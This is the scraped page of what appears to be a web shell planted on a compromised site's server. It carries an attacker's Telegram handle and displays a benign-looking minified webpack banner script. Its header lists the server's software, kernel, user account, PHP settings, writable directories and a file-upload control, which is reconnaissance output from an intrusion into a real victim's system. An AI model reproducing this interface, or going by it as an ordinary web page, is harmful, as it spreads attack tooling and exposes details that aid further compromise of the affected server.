https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/angkasapuraretail.com/public_html/themes/old-themes/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/angkasapuraretail.com/public_html/themes/old-themes/js/ctaBanner.bundle.js
(window.onlineWebpackJsonp=window.onlineWebpackJsonp||[]).push([["ctaBanner"],{441:function(module,exports,__webpack_require__){module.exports=__webpack_require__("kpc7")},kpc7:function(module,exports){!function(window,$,undefined){var ctaBanners,bannersList=[],handleCtaBannerClose=function(event){event.preventDefault(),event.stopPropagation();var currentBannerItem=bannersList.filter((function(element){return element.isActive}))[0];currentBannerItem&&(currentBannerItem.isActive=!1,currentBannerItem.shown=!0,persistBanners(currentBannerItem),ctaBanners.filter('div[data-id="'+currentBannerItem.id+'"]').removeClass("active")),ctaBanners.remove()},BannerItem=function(_id,_isActive){this.id=_id,this.isActive=_isActive,this.shown=!1},persistBanners=function(banners){var existingBanners=fetchBanners();existingBanners.push(banners),window.localStorage.setItem("CTABanners",JSON.stringify(existingBanners))},fetchBanners=function(){var banners=window.localStorage.getItem("CTABanners"),parsedBanners=JSON.parse(banners);return banners?Array.isArray(parsedBanners)?parsedBanners:[parsedBanners]:[]};ori.addModule("ctaBanner",{options:{ctaBanner:".w-notification-banner",bannerClose:".notification-banner-close",bannerContent:".ui-notification-banner .content"},handleClickOnTouch:function(event){if(ori.ctaBanner.options.touch){var anchor=$(event.currentTarget).find("a");window.location.href=anchor.attr("href")}},init:function(config){ctaBanners=$(".w-notification-banner");this.setOptions(config);var banners=fetchBanners();$(this.options.bannerContent).on(this.eventString(["click","touchstart"]),this.handleClickOnTouch),$(this.options.bannerClose).on(this.eventString(["click","touchstart"]),handleCtaBannerClose),$(this.options.ctaBanner).each((function(i,e){var $obj=$(e);0==banners.filter((function(bannerItem){return bannerItem.id===$obj.data("id")})).length?bannersList.push(new BannerItem($obj.data("id"),!1)):$obj.remove()})),bannersList.length>0&&(bannersList[0].isActive=!0,ctaBanners.first().addClass("active"),ctaBanners.css("display","block")),ori.cutShort.init({context:ctaBanners})}})}(window,jQuery)}},[[441,"manifest"]]]);
//# sourceMappingURL=ctaBanner.bundle.js.398eaedd94cac98d9b956e83ce6beb97.map

https://t.me/RX1948 - 2025